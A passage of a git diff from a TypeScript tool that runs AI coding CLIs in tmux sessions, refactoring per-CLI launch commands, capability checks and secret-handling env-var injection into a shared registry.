re-deriving the ultracode special case) keeps the EFFORT_LEVELS allowlist and the + // settings-JSON shape single-sourced in session-cli-builder.ts. + const [effortFlag, effortValue] = buildEffortCliArgs(options.effort); + if (effortFlag === '--settings') engineValues.effortSettingsJson = effortValue; + else if (effortFlag === '--effort') engineValues.effortLevel = effortValue; + + // Preserves buildSpawnCommand's original fallback exactly: an EXPLICIT `undefined` probes + // the local claude CLI (getClaudeCliVersion, null under vitest); an explicit `null` means + // "known to be unresolvable" and must not probe. The probe only ever runs from + // resolveGatesPassed, and only for an entry that actually declares a gate, so this stays + // generic without spawning a stray `claude --version` for every other CLI's launch. + const gatesPassed = resolveGatesPassed(entry, () => + options.claudeCliVersion !== undefined ? options.claudeCliVersion : getClaudeCliVersion() + ); + + return renderLaunch(entry.launch, params, engineValues, gatesPassed); +} diff --git a/src/session.ts b/src/session.ts index 34ac7b30e..56b0952ad 100644 --- a/src/session.ts +++ b/src/session.ts @@ -101,6 +101,7 @@ import { } from './config/buffer-limits.js'; import { DEFAULT_TMUX_HISTORY_LIMIT } from './config/terminal-history.js'; import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js'; +import { getCli } from './config/cli-registry/registry.js'; import { buildInteractiveArgs, buildPromptArgs, @@ -171,40 +172,50 @@ const CTRL_L_PATTERN = /\x0c/g; /** Pattern to split by newlines (CR or LF) */ const NEWLINE_SPLIT_PATTERN = /\r?\n/; -/** True for external-CLI run modes (non-Claude) that use their own TUI and output format. */ +/** + * True for external-CLI run modes (non-Claude) that use their own TUI and output format: + * no Claude transcript, no hooks, no Claude-format token/BashTool parsing. + * + * ⚠️ Reads its OWN capability flag rather than being derived from `hooks` or `kind`, and + * that independence is load-bearing. `shell` has no hooks but is NOT external, so a + * predicate derived from hooks would sweep it in here; `deepseek` HAS hooks but IS + * external. Deriving one of these three predicates from another has already shipped a bug + * (see CliCapabilities' own doc comment), which is why they are three separate fields. + * + * An UNREGISTERED mode is treated as external — the conservative answer, since it disables + * Claude-specific parsing rather than pointing it at output that was never Claude's. + */ export function isExternalCliMode(mode: SessionMode): boolean { - return ( - mode === 'opencode' || - mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ); + return getCli(mode)?.capabilities.external ?? true; } +/** Display name for a run mode. Falls back to the raw id for an unregistered one. */ function getModeLabel(mode: SessionMode): string { - switch (mode) { - case 'opencode': - return 'OpenCode'; - case 'codex': - return 'Codex'; - case 'gemini': - return 'Gemini'; - case 'antigravity': - return 'Antigravity'; - case 'pi': - return 'Pi'; - case 'grok': - return 'Grok'; - case 'deepseek': - return 'DeepSeek'; - case 'shell': - return 'Shell'; - case 'claude': - return 'Claude'; - } + return getCli(mode)?.label ?? mode; +} + +/** + * Does this CLI's launch spec gate anything on its own version? + * + * Only such a CLI needs its version probed at session start — probing one with no gates + * would spawn a `--version` subprocess whose answer nothing reads. Today that is claude + * (the `--name` flag, gated at 2.1.224), which is why the probe used to be written as + * `mode === 'claude'`. + */ +function cliNeedsVersionProbe(mode: SessionMode): boolean { + return Object.keys(getCli(mode)?.capabilities.gates ?? {}).length > 0; +} + +/** + * Does this CLI ask for `COLORTERM=truecolor`? + * + * Read off the SAME `env.exports` list that `buildEnvExports()` emits into the tmux + * session, so the attach client and the pane cannot disagree about colour depth. These + * used to be two hand-maintained lists of mode names in two files that had to be edited + * together, with a comment in each asking the next person to remember. + */ +function cliExportsTruecolor(mode: SessionMode): boolean { + return (getCli(mode)?.env.exports ?? []).some((entry) => entry.name === 'COLORTERM' && entry.value === 'truecolor'); } /** @@ -233,7 +244,7 @@ function getModeLabel(mode: SessionMode): string { * vim inside a tmux `shell` session. */ export function isAltScreenStripMode(mode: SessionMode): boolean { - return mode === 'codex' || mode === 'claude' || mode === 'gemini'; + return getCli(mode)?.capabilities.altScreen === 'strip-full'; } /** @@ -1537,16 +1548,11 @@ export class Session extends EventEmitter { cols: ptyCols, rows: ptyRows, cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker), - // COD-75: codex/gemini/antigravity/pi get COLORTERM=truecolor — mirrors buildEnvExports() - // in tmux-manager.ts so the attach client and the tmux session agree. - env: buildMuxAttachEnv( - this.mode === 'codex' || - this.mode === 'gemini' || - this.mode === 'antigravity' || - this.mode === 'pi' || - this.mode === 'grok' || - this.mode === 'deepseek' - ), + // COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH + // client too. Both sides read the same registry entry, which is what stops the + // attach client and the tmux session from disagreeing — they used to be two + // hand-maintained lists of mode names that had to be edited in lockstep. + env: buildMuxAttachEnv(cliExportsTruecolor(this.mode)), }) ); } catch (spawnErr) { @@ -1731,7 +1737,11 @@ export class Session extends EventEmitter { // `Saved to: file://...` — that scanner (and its relaxed trust policy) is // only enabled for codex-mode sessions. The web server applies the trust // boundary for each request source. - const attachmentRequests = parseTerminalAttachmentRequests(data, { codexArtifacts: this.mode === 'codex' }); + // Codex is the only CLI that announces generated artifacts in its pane output, and it + // is also the only one whose transcript is a rollout file — one implies the other. + const attachmentRequests = parseTerminalAttachmentRequests(data, { + codexArtifacts: getCli(this.mode)?.capabilities.transcript === 'codex-rollout', + }); for (const request of attachmentRequests) { const seenKey = `${request.source}:${request.path}`; if (this._attachmentMagicSeen.has(seenKey)) continue; @@ -1791,7 +1801,7 @@ export class Session extends EventEmitter { // repaint/alt-screen mode; issue #154). Remote sessions run claude on // another host, so a local probe wouldn't reflect their version; they get // their own over-ssh probe below. Cached process-wide, best-effort. - if (this.mode === 'claude' && !this._remote && !this._docker && !this._cliVersion) { + if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) { const probedVersion = getClaudeCliVersion(); if (probedVersion) { this._cliVersion = probedVersion; @@ -1808,7 +1818,7 @@ export class Session extends EventEmitter { // reports the HOST claude (wrong version, and leaving cliVersion undefined // silently disables wheel-forwarding, #154). Probe the IN-CONTAINER version // instead — deferred so the container is up after the mux attach below. - if (this.mode === 'claude' && this._docker && !this._cliVersion) { + if (cliNeedsVersionProbe(this.mode) && this._docker && !this._cliVersion) { const dockerMeta = this._docker; setTimeout(() => { if (this._isStopped || this._cliVersion) return; @@ -1834,7 +1844,7 @@ export class Session extends EventEmitter { // is the unreliable path #154 was filed for, so remote Claude cases silently // never got wheel-forwarding (noted in the #205 analysis). Probe over ssh, // deferred so session start never waits on the ssh round-trip. - if (this.mode === 'claude' && this._remote && !this._cliVersion) { + if (cliNeedsVersionProbe(this.mode) && this._remote && !this._cliVersion) { const remoteMeta = this._remote; setTimeout(() => { if (this._isStopped || this._cliVersion) return; @@ -1946,35 +1956,16 @@ export class Session extends EventEmitter { // Fallback to direct PTY if mux is not used if (!this.ptyProcess) { - // OpenCode sessions require tmux for env var injection (API keys via setenv) - if (this.mode === 'opencode') { - throw new Error('OpenCode sessions require tmux. Direct PTY fallback is not supported.'); - } - // Codex sessions require tmux for OPENAI_API_KEY injection via setenv - if (this.mode === 'codex') { - throw new Error('Codex sessions require tmux. Direct PTY fallback is not supported.'); - } - // Gemini sessions require tmux for Gemini/Google auth env injection via setenv - if (this.mode === 'gemini') { - throw new Error('Gemini sessions require tmux. Direct PTY fallback is not supported.'); - } - // Antigravity sessions require tmux for env override injection via setenv - if (this.mode === 'antigravity') { - throw new Error('Antigravity sessions require tmux. Direct PTY fallback is not supported.'); - } - // Pi sessions require tmux for env override injection via setenv - if (this.mode === 'pi') { - throw new Error('Pi sessions require tmux. Direct PTY fallback is not supported.'); - } - // Grok sessions require tmux for XAI_API_KEY / GROK_* injection via setenv - if (this.mode === 'grok') { - throw new Error('Grok sessions require tmux. Direct PTY fallback is not supported.'); - } - // DeepSeek sessions require tmux for DEEPSEEK_API_KEY / DSH_PERMISSION_MODE - // injection via setenv — and for the HERDR_* status-bridge triple, without - // which the mode silently loses its definitive idle/blocked signals. - if (this.mode === 'deepseek') { - throw new Error('DeepSeek Harness sessions require tmux. Direct PTY fallback is not supported.'); + // Every external CLI requires tmux and has NO direct-PTY fallback, because its + // secrets are injected with socket-scoped `tmux setenv` and so must never touch a + // spawn command line. DeepSeek additionally needs it for the HERDR_* status-bridge + // triple, without which the mode silently loses its definitive idle/blocked signals. + // + // Refusing is the only safe answer: falling back to a direct PTY would start the CLI + // unauthenticated (or, worse, tempt a future change into passing the key as an + // argument, where every process on the box can read it). + if (getCli(this.mode)?.capabilities.requiresMux) { + throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`); } try { // Pass --session-id to use the SAME ID as the Codeman session diff --git a/src/tmux-manager.ts b/src/tmux-manager.ts index 5088793df..ae5f9e58d 100644 --- a/src/tmux-manager.ts +++ b/src/tmux-manager.ts @@ -58,7 +58,14 @@ import { type SessionDocker, type DockerCommandMode, } from './types.js'; -import { buildEffortCliArgs, buildNameCliArgs } from './session-cli-builder.js'; +import { getCli } from './config/cli-registry/registry.js'; +import { missingCliMessage, resolveCliBinDir } from './utils/cli-resolver.js'; +import { + buildSpawnCommandFromRegistry, + configSetenvValues, + legacyConfigForMode, +} from './session-cli-registry-bridge.js'; +import type { CliEntry } from './config/cli-registry/types.js'; import { buildSshConnectionArgs, defaultRemoteCommandForMode, @@ -78,30 +85,7 @@ import { type DockerMount, type DockerSeedCopy, } from './docker-hosts.js'; -import { - wrapWithNice, - SAFE_PATH_PATTERN, - findClaudeDir, - getClaudeCliVersion, - getClaudeNotFoundMessage, - resolveOpenCodeDir, - getOpenCodeNotFoundMessage, - resolveCodexDir, - getCodexNotFoundMessage, - resolveGeminiDir, - getGeminiNotFoundMessage, - resolveAntigravityDir, - getAntigravityNotFoundMessage, - resolvePiDir, - getPiNotFoundMessage, - resolveGrokDir, - getGrokNotFoundMessage, - resolveDeepSeekDir, - getDeepSeekNotFoundMessage, - resolveDefaultDeepSeekProfile, - resolveLocalShell, - loginShellArgs, -} from './utils/index.js'; +import { wrapWithNice, SAFE_PATH_PATTERN, resolveLocalShell, loginShellArgs } from './utils/index.js'; import type { TerminalMultiplexer, MuxSession, @@ -645,287 +629,17 @@ function buildClaudePermissionFlags(claudeMode?: ClaudeMode, allowedTools?: stri } /** - * Build the opencode CLI command with appropriate flags. - */ -function buildOpenCodeCommand(config?: OpenCodeConfig): string { - const parts = ['opencode']; - - // Model selection — allow provider/model format (alphanumeric, dots, hyphens, slashes) - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - // Continue existing session - if (config?.continueSession) { - const safeId = /^[a-zA-Z0-9_-]+$/.test(config.continueSession) ? config.continueSession : undefined; - if (safeId) parts.push('--session', safeId); - if (safeId && config.forkSession) parts.push('--fork'); - } - - return parts.join(' '); -} - -/** - * Build the codex CLI command with appropriate flags. + * Build the codex CLI command. * - * Codeman launches Codex's native TUI and handles replay/scrollback by - * stripping destructive terminal sequences before xterm.js sees them. + * Kept as a named wrapper purely because callers (and `test/tmux-manager.test.ts`) reach for + * it directly; the command itself is registry data now, like every other CLI's. The `??` + * fallback covers a registry in which codex has been disabled or removed — this function + * promises a string, so it degrades to the bare binary rather than throwing. */ export function buildCodexCommand(config?: CodexConfig): string { - const parts = ['codex']; - - if (config?.dangerouslyBypassApprovals) { - parts.push('--dangerously-bypass-approvals-and-sandbox'); - } - - if (config?.animations !== undefined) { - parts.push('--config', `tui.animations=${config.animations ? 'true' : 'false'}`); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeSessionId) { - const safeId = /^[a-zA-Z0-9_-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeId) parts.push('resume', safeId); - } - - return parts.join(' '); -} - -/** - * Build the Gemini CLI command with appropriate flags. - * - * `--skip-trust` avoids a first-run workspace trust prompt inside Codeman. - * Approval mode defaults to `yolo` for parity with Codeman's Claude default - * of `--dangerously-skip-permissions`; users can override it later through - * Gemini config once Codeman exposes richer Gemini settings. - */ -function buildGeminiCommand(config?: GeminiConfig): string { - const parts = ['gemini', '--skip-trust']; - - const approvalMode = config?.approvalMode || 'yolo'; - if (['default', 'auto_edit', 'yolo', 'plan'].includes(approvalMode)) { - parts.push('--approval-mode', approvalMode); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeSession) { - const safeId = /^[a-zA-Z0-9._-]+$/.test(config.resumeSession) ? config.resumeSession : undefined; - if (safeId) parts.push('--resume', safeId); - } - - return parts.join(' '); -} - -/** - * Build the Antigravity CLI (agy) command with appropriate flags. - * - * Unlike gemini's yolo default, `--dangerously-skip-permissions` is only added - * when the config explicitly asks for it (the frontend sends it for parity with - * Codeman's Claude default; the multi-user clamp strips it for non-granted owners, - * and an ABSENT config stays at agy's own prompting default — safe like Codex). - */ -function buildAntigravityCommand(config?: AntigravityConfig): string { - const parts = ['agy']; - - if (config?.dangerouslySkipPermissions) { - parts.push('--dangerously-skip-permissions'); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeConversationId) { - const safeId = /^[a-zA-Z0-9._-]+$/.test(config.resumeConversationId) ? config.resumeConversationId : undefined; - if (safeId) parts.push('--conversation', safeId); - } - - return parts.join(' '); -} - -/** Pi's `--thinking` levels. Runtime allowlist — defense in depth beyond the Zod enum. */ -const PI_THINKING_LEVELS = new Set(['off', 'minimal', 'low', 'medium', 'high', 'xhigh', 'max']); - -/** - * Build the Pi CLI (pi.dev) command with appropriate flags. - * - * Pi has NO permission prompts and no `--dangerously-skip-permissions` analog, so - * there is deliberately nothing bypass-shaped here. The privileged knob is the - * TRI-STATE `approveProjectTrust`: `true` -> `--approve` (trust repo-local `.pi/` - * config, which means loading and EXECUTING repository TypeScript and installing - * missing project packages), `false` -> `--no-approve` (force-deny, used by the - * multi-user clamp so the trust prompt never appears), absent -> pi's own - * `defaultProjectTrust`. - * - * `--api-key` is deliberately NEVER wired: it would put a provider secret on the - * spawn command line (visible in `ps` and tmux state), which is exactly what the - * socket-scoped `tmux setenv` discipline exists to prevent. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure — the result is interpolated into a `bash -c "..."` string. - */ -function buildPiCommand(config?: PiConfig): string { - const parts = ['pi']; - - if (config?.approveProjectTrust === true) { - parts.push('--approve'); - } else if (config?.approveProjectTrust === false) { - parts.push('--no-approve'); - } - - if (config?.model) { - // `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id` (`openai/gpt-4o`). - const safeModel = /^[a-zA-Z0-9._\-/:]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.provider) { - const safeProvider = /^[a-z0-9-]+$/.test(config.provider) ? config.provider : undefined; - if (safeProvider) parts.push('--provider', safeProvider); - } - - if (config?.thinking && PI_THINKING_LEVELS.has(config.thinking)) { - parts.push('--thinking', config.thinking); - } - - // --session and -c conflict; a valid explicit session id wins. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--session', safeSessionId); - } else if (config?.continueSession) { - parts.push('-c'); - } - - return parts.join(' '); -} - -/** - * Build the Grok Build CLI (xAI `grok`) command with appropriate flags. - * - * The bypass switch is `--always-approve` ("auto-approve all tool executions", - * grok's `bypassPermissions` permission mode; config-level deny rules still - * apply on top). Absent config spawns bare `grok`, i.e. grok's own default - * ask-mode, which is why the multi-user clamp only needs the only-if-sent - * branch for grok. Flag surface verified against grok 1.0.5. - * - * `XAI_API_KEY` is deliberately never wired as a flag: secrets flow through - * socket-scoped `tmux setenv` (envOverrides), never the spawn command line. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure: the result is interpolated into a `bash -c "..."` string. - */ -function buildGrokCommand(config?: GrokConfig): string { - const parts = ['grok']; - - if (config?.alwaysApprove) { - parts.push('--always-approve'); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - // --resume and -c conflict; a valid explicit session id wins. Ids only: - // grok's --resume also accepts session TITLES, which are arbitrary user - // strings, so the id regex doubles as the no-titles rule here. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--resume', safeSessionId); - } else if (config?.continueSession) { - parts.push('--continue'); - } - - return parts.join(' '); -} - -/** - * Build the DeepSeek Harness (`dsh`) command with appropriate flags. - * - * Unlike every sibling builder, the interesting decision here is not a flag but - * WHICH PROFILE to boot: `dsh` is a launcher over `$DSH_HOME/profiles/`, - * and DeepSeek ships no interactive terminal profile of its own, so the agent a - * pane runs is always one the user installed. An absent `profile` resolves to - * the first pane-capable profile on the box; when there is none we still emit a - * bare `dsh --profile ` rather than inventing a name, because the - * availability gate in createSession() has already refused the spawn by then and - * this path only runs for a session that passed it. - * - * There is deliberately NO permission flag: the harness has none. The sandbox - * and approval rows read `DSH_PERMISSION_MODE`, exported through `tmux setenv` - * in buildEnvExports() so it never lands on this command line. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure: the result is interpolated into a `bash -c "..."` string. - */ -function buildDeepSeekCommand(config?: DeepSeekConfig): string { - const parts = ['dsh']; - - // A profile name is a single path segment: it is both interpolated into the - // shell line and joined into a filesystem path. - const requested = config?.profile; - const safeProfile = - requested && /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/.test(requested) - ? requested - : (resolveDefaultDeepSeekProfile() ?? undefined); - if (safeProfile) parts.push('--profile', safeProfile); - - // The launcher forwards everything after its own flags to the profile's app, - // which is where `--resume` is understood. An explicit id wins over the - // most-recent-session form, mirroring the sibling builders. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--resume', safeSessionId); - } else if (config?.resumeSession) { - parts.push('--resume'); - } - - return parts.join(' '); -} - -/** - * Build the spawn command for any session mode. - * Shared by createSession() and respawnPane() to avoid duplication. - */ -/** - * Build the shell fragment carrying the effort level as a SOFT default - * (see buildEffortCliArgs — `--effort ` for regular levels incl. max, - * `--settings '{"ultracode":true}'` for ultracode; deliberately not the - * CLAUDE_CODE_EFFORT_LEVEL env var, which hard-locks /effort switching). - * - * Injection-safe: effort is validated against the EFFORT_LEVELS allowlist inside - * buildEffortCliArgs, so the single-quoted values contain no user-controlled characters. - */ -function buildEffortSettingsFlag(effort?: EffortLevel): string { - const [flag, value] = buildEffortCliArgs(effort); - return flag && value ? ` ${flag} '${value}'` : ''; -} - -/** - * Build the ` --name ""` shell fragment, or '' when it must be - * omitted. Version-gated FAIL-CLOSED in buildNameCliArgs (an older/unknown CLI - * aborts startup on an unknown flag, which would kill every claude spawn), and - * the value is allowlist-sanitized there, so it contains none of the characters - * that are special inside this double-quoted interpolation. The peer name is a - * soft default (in-session /rename still wins), which is why this rides the - * spawn command rather than any persisted config. - */ -function buildClaudeNameFlag(sessionName: string | undefined, cliVersion: string | null): string { - const [flag, value] = buildNameCliArgs(sessionName, cliVersion); - return flag && value ? ` ${flag} "${value}"` : ''; + const entry = getCli('codex'); + if (!entry) return 'codex'; + return buildSpawnCommandFromRegistry(entry, { mode: 'codex', sessionId: '', codexConfig: config }) ?? 'codex'; } export function buildSpawnCommand(options: { @@ -953,48 +667,14 @@ export function buildSpawnCommand(options: { */ claudeCliVersion?: string | null; }): string { - if (options.mode === 'claude') { - // Validate model to prevent command injection - const safeModel = options.model && /^[a-zA-Z0-9._\-[\]]+$/.test(options.model) ? options.model : undefined; - const modelFlag = safeModel ? ` --model "${safeModel}"` : ''; - const effortFlag = buildEffortSettingsFlag(options.effort); - const nameFlag = buildClaudeNameFlag( - options.sessionName, - options.claudeCliVersion !== undefined ? options.claudeCliVersion : getClaudeCliVersion() - ); - // Use --resume to restore a previous conversation, otherwise --session-id for new sessions. - // Wrap --resume in a fallback: if it exits non-zero (session not found, corrupt, etc.), - // fall back to a new session with --session-id so the pane doesn't die. - const safeResumeId = - options.resumeSessionId && /^[a-f0-9-]+$/.test(options.resumeSessionId) ? options.resumeSessionId : undefined; - const permFlags = buildClaudePermissionFlags(options.claudeMode, options.allowedTools); - if (safeResumeId) { - const resumeCmd = `claude${permFlags} --resume "${safeResumeId}"${modelFlag}${effortFlag}${nameFlag}`; - const fallbackCmd = `claude${permFlags} --session-id "${options.sessionId}"${modelFlag}${effortFlag}${nameFlag}`; - return `${resumeCmd} || ${fallbackCmd}`; - } - return `claude${permFlags} --session-id "${options.sessionId}"${modelFlag}${effortFlag}${nameFlag}`; - } - if (options.mode === 'opencode') { - return buildOpenCodeCommand(options.openCodeConfig); - } - if (options.mode === 'codex') { - return buildCodexCommand(options.codexConfig); - } - if (options.mode === 'gemini') { - return buildGeminiCommand(options.geminiConfig); - } - if (options.mode === 'antigravity') { - return buildAntigravityCommand(options.antigravityConfig); - } - if (options.mode === 'pi') { - return buildPiCommand(options.piConfig); - } - if (options.mode === 'grok') { - return buildGrokCommand(options.grokConfig); - } - if (options.mode === 'deepseek') { - return buildDeepSeekCommand(options.deepSeekConfig); + // Every CLI's command shape is registry DATA, rendered by the argv engine — see + // config/cli-registry/argv.ts for why config can never contain shell text. A `shell`-kind + // entry (or an unregistered mode) renders `undefined` and falls through to the local + // login-shell resolution below, which cannot be templated because it varies per user. + const entry = getCli(options.mode); + if (entry) { + const rendered = buildSpawnCommandFromRegistry(entry, options); + if (rendered !== undefined) return rendered; } // #208: NOT the literal '$SHELL'. This string is embedded in the `bash -c "…"` // argument of the respawn-pane line, which execSync runs through `/bin/sh -c`, @@ -1202,22 +882,15 @@ const RESUME_ID_SAFE = /^[A-Za-z0-9._-]+$/; */ function appendResumeFlag(modeCommand: string, mode: SessionMode, resumeId: string): string { if (!RESUME_ID_SAFE.test(resumeId)) return modeCommand; - switch (mode) { - case 'gemini': - return `${modeCommand} --resume ${resumeId}`; - case 'codex': - return `${modeCommand} resume ${resumeId}`; - case 'antigravity': - return `${modeCommand} --conversation ${resumeId}`; - case 'pi': - return `${modeCommand} --session ${resumeId}`; - case 'grok': - return `${modeCommand} --resume ${resumeId}`; - case 'deepseek': - return `${modeCommand} --resume ${resumeId}`; - default: - return modeCommand; // shell / opencode: no resume - } + // The append-only sibling of the full launch spec: this bolts a resume onto an ALREADY + // built command, for the docker "the in-container tmux was re-created" path. An entry with + // no `resumeAppend` has no resume form to append (shell, opencode — opencode's docker + // resume rides its own config object instead). + const append = getCli(mode)?.launch.resumeAppend; + if (!append) return modeCommand; + return append.style === 'flag' + ? `${modeCommand} ${append.flag} ${resumeId}` + : `${modeCommand} ${append.token} ${resumeId}`; } /** @@ -1451,12 +1124,7 @@ export function resolveDockerLaunchOptions( }; // NAME-ONLY exec env forwarded from Codeman's process env (the docker client // inherits it), so API-key CLIs get their key without it appearing in argv. - const execEnvNames = - mode === 'codex' - ? ['OPENAI_API_KEY', 'CODEX_API_KEY'] - : mode === 'gemini' - ? ['GEMINI_API_KEY', 'GOOGLE_API_KEY'] - : []; + const execEnvNames = getCli(mode)?.env.dockerExecEnvNames ?? []; return { mode, docker, sessionId, resumeSessionId, createContext, execEnv, execEnvNames, seedCopies }; } @@ -1512,89 +1180,89 @@ function buildRemoteSessionCommand(options: { } /** - * Set sensitive environment variables on a tmux session via setenv. - * These are inherited by panes but not visible in ps output or tmux history. + * Push one environment variable into a tmux session with `setenv`. + * + * ⚠️ `setenv` rather than the spawn command line is the whole point: a value set this way is + * inherited by panes but never appears in `ps` output or tmux history, so an API key cannot + * be read by every other process on the box. Nothing that carries a secret may move to the + * command line. + * + * A failure is deliberately swallowed — a key the CLI does not need is not an error, and a + * CLI that does need it will say so far more usefully than a spawn failure here would. */ -function setOpenCodeEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'GOOGLE_API_KEY']; - for (const key of sensitiveVars) { - const val = process.env[key]; - if (val) { - // Shell-escape: wrap in single quotes, escape any inner single quotes - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } +function setTmuxEnvVar(tmuxCmd: string, muxName: string, key: string, value: string): void { + // Shell-escape: wrap in single quotes, escape any inner single quotes. + const escaped = value.replace(/'/g, "'\\''"); + try { + execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { + encoding: 'utf8', + timeout: EXEC_TIMEOUT_MS, + stdio: ['pipe', 'pipe', 'pipe'], + }); + } catch { + /* Non-critical — key may not be needed */ } } /** - * Set sensitive environment variables for Codex on a tmux session via setenv. - * Codex (OpenAI CLI) needs OPENAI_API_KEY; we also forward CODEX_* keys. + * Forward this CLI's declared sensitive env vars from the SERVER's own environment into the + * tmux session. Names come from `env.tmuxSetenvKeys`; values are never in config. + * + * Was three near-identical per-CLI functions whose only difference was the key list. */ -function setCodexEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = ['OPENAI_API_KEY', 'CODEX_API_KEY', 'CODEX_HOME']; - for (const key of sensitiveVars) { +function setCliSensitiveEnvVars(tmuxCmd: string, muxName: string, keys: readonly string[]): void { + for (const key of keys) { const val = process.env[key]; - if (val) { - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } + if (val) setTmuxEnvVar(tmuxCmd, muxName, key, val); } } /** - * Set sensitive environment variables for Gemini on a tmux session via setenv. - * Gemini Pro/Ultra users usually authenticate via cached Google login; these - * variables cover API-key and Vertex AI paths without putting secrets in ps. + * Implementations of the named profiles a CLI may select via `env.setenvProfile` — the escape + * hatch for setup that genuinely needs to RUN CODE rather than name a list of env keys. + * + * Keyed by PROFILE NAME, never by CLI id: a second launcher-style CLI adds an entry here and + * names it from its registry entry, and nothing else in this file learns about it. The names + * themselves are declared (and schema-validated at load) in `config/cli-registry/profiles.ts`. + * + * Returns the env vars to set; the caller does the actual `tmux setenv` calls. */ -function setGeminiEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = [ - 'GEMINI_API_KEY', - 'GEMINI_MODEL', - 'GOOGLE_API_KEY', - 'GOOGLE_CLOUD_PROJECT', - 'GOOGLE_CLOUD_LOCATION', - 'GOOGLE_APPLICATION_CREDENTIALS', - 'GOOGLE_GENAI_USE_VERTEXAI', - ]; - for (const key of sensitiveVars) { - const val = process.env[key]; - if (val) { - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } - } -} +const SETENV_PROFILES: Record< + string, + (sessionId: string, entry: CliEntry, rawConfig?: Record) => Record +> = { + /** + * DeepSeek's Herdr-compatible status bridge. + * + * Pointing `HERDR_BIN_PATH` at our own generated shim is what upgrades this mode from + * output-stabilization guessing to DEFINITIVE idle/working/blocked events (see + * deepseek-status-shim.ts). The pane id IS the Codeman session id, which is how the shim + * attributes a report without trusting anything the agent could influence. + * + * Needs a profile rather than key names because it writes an executable to disk and then + * exports that file's path — neither a name list nor a config value could express it. + */ + 'deepseek-status-bridge': (sessionId, entry, rawConfig) => { + // Opt-OUT, not opt-in: an absent flag means the bridge is armed, so a caller who says + // nothing gets the better signals. Only an explicit `false` disarms it, which is exactly + // what `hooksAvailableForMode()` reads to decide whether `stop` can ever fire. + const field = entry.launch.legacyConfigAliases?.statusReporting ?? 'statusReporting'; + if (rawConfig?.[field] === false) return {}; + const shim = ensureDeepSeekStatusShim(); + if (!shim) return {}; + const vars: Record = { HERDR_ENV: '1', HERDR_BIN_PATH: shim, HERDR_PANE_ID: sessionId }; + return vars; + }, +}; /** - * Set OPENCODE_CONFIG_CONTENT on a tmux session via setenv. - * Uses tmux setenv to avoid shell metacharacter injection from user-supplied JSON. + * Set a CLI's JSON config-content env var on a tmux session via setenv. + * + * The var NAME comes from `env.configContentVar` rather than being hardcoded, so this is not + * an opencode special case — but opencode is its only user today. `setenv` (rather than the + * command line) is what keeps user-supplied JSON away from shell metacharacter parsing. */ -function setOpenCodeConfigContent(tmuxCmd: string, muxName: string, config?: OpenCodeConfig): void { +function setCliConfigContent(tmuxCmd: string, muxName: string, varName: string, config?: OpenCodeConfig): void { if (!config) return; let jsonContent: string | undefined; @@ -1622,18 +1290,7 @@ function setOpenCodeConfigContent(tmuxCmd: string, muxName: string, config?: Ope } } - if (jsonContent) { - const escaped = jsonContent.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' OPENCODE_CONFIG_CONTENT '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical */ - } - } + if (jsonContent) setTmuxEnvVar(tmuxCmd, 